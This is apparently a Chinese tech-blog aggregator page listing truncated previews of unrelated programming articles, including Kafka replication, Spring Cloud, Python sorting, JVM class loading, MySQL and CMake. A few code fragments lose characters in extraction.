C/C++选择题好题分享
...

kafka副本机制
目录 前言 副本定义 副本角色 In-sync Replicas(ISR) 参考资料 前言 现在的很多的分布式系统都支持副本的机制,比如Mysql就有副本的机制,一般使用副本有如下特性和好处。 提供数据冗余。即使系统部分组件失效,系…...

服务注册发现_actuator微服务信息完善
SpringCloud体系里的,服务实体向eureka注册时,注册名默认是IP名:应用名:应用端口名。 问题: 自定义服务在Eureka上的实例名怎么弄呢 在服务提供者pom中配置Actuator依赖 <!-- actuator监控信息完善 --> <dependency><groupId…...

常见列表字典排序
一、列表排序 demoList [1, 3, 2, 4, 9 ,7]res sorted(demoList) # 默认升序# 降序 # res sorted(demoList, reverseTrue)print(res)二、字典排序 demoDict {"篮球": 5, "排球": 9, "网球": 6, "足球": 3}# sorted排序 res so…...

【Acwing1027】方格取数(动态规划)题解
题目描述 思路分析 错误思路: 贪心法,先走一次求出最大值,把走过的路上面的数值清零,然后用同样的方法再走一遍求最大值,然后让这两个最大值相加就是最后的结果。 很多人在看到这个题目的时候会有上面的思路&#x…...
合并区间:解决区间重叠问题的高效算法
合并区间:解决区间重叠问题的高效算法 leetcode 56. 合并区间 合并区间是一个常见的编程问题,通常涉及到一组区间,你需要将重叠的区间合并成更大的区间。这篇博客将介绍这个问题的背景,然后解释一个高效的解决方案,同…...

万字总结HTML超文本标记语言
一、前言:什么是网页? 网站是指在因特网上根据一定的规则,使用 HTML 等制作的用于展示特定内容相关的网页集合。网页是网站中的一“页”,通常是 HTML 格式的文件,它要通过浏览器来阅读。 网页是构成网站的基本元素,它通常由图片、链接、文字、声音、视频等元素组成。通常…...

Java线程池是如何保证核心线程不被销毁的
来源: Java线程池是如何保证核心线程不被销毁的_朝 花 拾 夕的博客-CSDN博客 对于Java中 Thread 对象,同一个线程对象调用 start 方法后,会在执行完run 后走向终止(TERMINATED)状态,也就是说一个线程对象是不可以通过多…...
新课程标准培养学生“高考物理关键能力”的实践研究课题文献综述
目录 一、高考物理能力的要求与评估标准 二、高考物理关键能力的定义与内涵...

急救车工业路由器应用提升急救效率:车联网、数据采集与远程诊疗
急救车作为医院里医疗急救过程中的重要组成部分,在智慧医疗物联网领域中急救车应用4G工业路由器实现网络部署与数据采集,通过工业4G路由器能够实时采集到病患的生理数据、救护现场音频与视频、GPS定位以及车辆运行状态等重要信息。这些数据将被传输到医疗…...
【操作系统】聊聊CPU上下文切换实操
如何查看系统的上下文切换情况 上一篇文章我们说了过多的上下文切换,会把CPU时间消耗在寄存器、内核栈以及虚拟内存等数据的保存和恢复上,那么当出现系统的上下文切换过多的时候,我们如果通过监控指标查看呢。 vmstat 是一个常用的系统性能…...

【java】【SpringBoot】【四】原理篇 bean、starter、核心原理
目录 一、自动配置 1、bean加载方式(复习) 1.1 加载方式-xml方式生命bean 1.2 加载方式-xml注解方式声明bean 1.3 注解方式声明配置类 1.4 FactoryBean 1.5 proxyBeanMethod属性 1.6 使用Import注解导入 1.7 使用上下文对象在容器初始化完毕后注…...

【精品资源】Java毕业设计攻略:从选题到答辩,一站式指南
导读: Java毕业设计是计算机科学与技术专业学生展示其编程能力、问题解决能力和创新思维的重要环节。这篇博客将为您提供一站式的Java毕业设计攻略,帮助您从选题到答辩,顺利完成毕业设计。 一、选题阶段 寻找灵感: 探讨热门技术如…...

文件高效批量重命名,轻松重命名不同类型的文件名并隐藏编号
你是否曾经因为文件名混乱而感到困扰?你是否希望有一种方法可以快速、简单地管理你的文件名?如果你的答案是肯定的,那么我们的产品——文件重命名工具,将是你的完美解决方案! 首先我们要进入文件批量改名高手主页面&a…...
[2025CVPR]DeepVideo-R1:基于难度感知回归GRPO的视频强化微调框架详解
突破视频大语言模型推理瓶颈,在多个视频基准上实现SOTA性能 一、核心问题与创新亮点 1.1 GRPO在视频任务中的两大挑战 安全措施依赖问题 GRPO使用min和clip函数限制策略更新幅度,导致: 梯度抑制:当新旧策略差异过大时梯度消失收敛困难:策略无法充分优化# 传统GRPO的梯…...

【OSG学习笔记】Day 18: 碰撞检测与物理交互
物理引擎(Physics Engine) 物理引擎 是一种通过计算机模拟物理规律(如力学、碰撞、重力、流体动力学等)的软件工具或库。 它的核心目标是在虚拟环境中逼真地模拟物体的运动和交互,广泛应用于 游戏开发、动画制作、虚…...

苍穹外卖--缓存菜品
1.问题说明 用户端小程序展示的菜品数据都是通过查询数据库获得,如果用户端访问量比较大,数据库访问压力随之增大 2.实现思路 通过Redis来缓存菜品数据,减少数据库查询操作。 缓存逻辑分析: ①每个分类下的菜品保持一份缓存数据…...
大学生职业发展与就业创业指导教学评价
这里是引用 作为软工2203/2204班的学生,我们非常感谢您在《大学生职业发展与就业创业指导》课程中的悉心教导。这门课程对我们即将面临实习和就业的工科学生来说至关重要,而您认真负责的教学态度,让课程的每一部分都充满了实用价值。 尤其让我…...

如何在网页里填写 PDF 表格?
有时候,你可能希望用户能在你的网站上填写 PDF 表单。然而,这件事并不简单,因为 PDF 并不是一种原生的网页格式。虽然浏览器可以显示 PDF 文件,但原生并不支持编辑或填写它们。更糟的是,如果你想收集表单数据ÿ…...

MySQL 知识小结(一)
一、my.cnf配置详解 我们知道安装MySQL有两种方式来安装咱们的MySQL数据库,分别是二进制安装编译数据库或者使用三方yum来进行安装,第三方yum的安装相对于二进制压缩包的安装更快捷,但是文件存放起来数据比较冗余,用二进制能够更好管理咱们M…...
NPOI Excel用OLE对象的形式插入文件附件以及插入图片
static void Main(string[] args) {XlsWithObjData();Console.WriteLine("输出完成"); }static void XlsWithObjData() {// 创建工作簿和单元格,只有HSSFWorkbook,XSSFWorkbook不可以HSSFWorkbook workbook new HSSFWorkbook();HSSFSheet sheet (HSSFSheet)workboo…...
比较数据迁移后MySQL数据库和OceanBase数据仓库中的表
设计一个MySQL数据库和OceanBase数据仓库的表数据比较的详细程序流程,两张表是相同的结构,都有整型主键id字段,需要每次从数据库分批取得2000条数据,用于比较,比较操作的同时可以再取2000条数据,等上一次比较完成之后,开始比较,直到比较完所有的数据。比较操作需要比较…...

【从零开始学习JVM | 第四篇】类加载器和双亲委派机制(高频面试题)
前言: 双亲委派机制对于面试这块来说非常重要,在实际开发中也是经常遇见需要打破双亲委派的需求,今天我们一起来探索一下什么是双亲委派机制,在此之前我们先介绍一下类的加载器。 目录 编辑 前言: 类加载器 1. …...

认识CMake并使用CMake构建自己的第一个项目
1.CMake的作用和优势 跨平台支持:CMake支持多种操作系统和编译器,使用同一份构建配置可以在不同的环境中使用 简化配置:通过CMakeLists.txt文件,用户可以定义项目结构、依赖项、编译选项等,无需手动编写复杂的构建脚本…...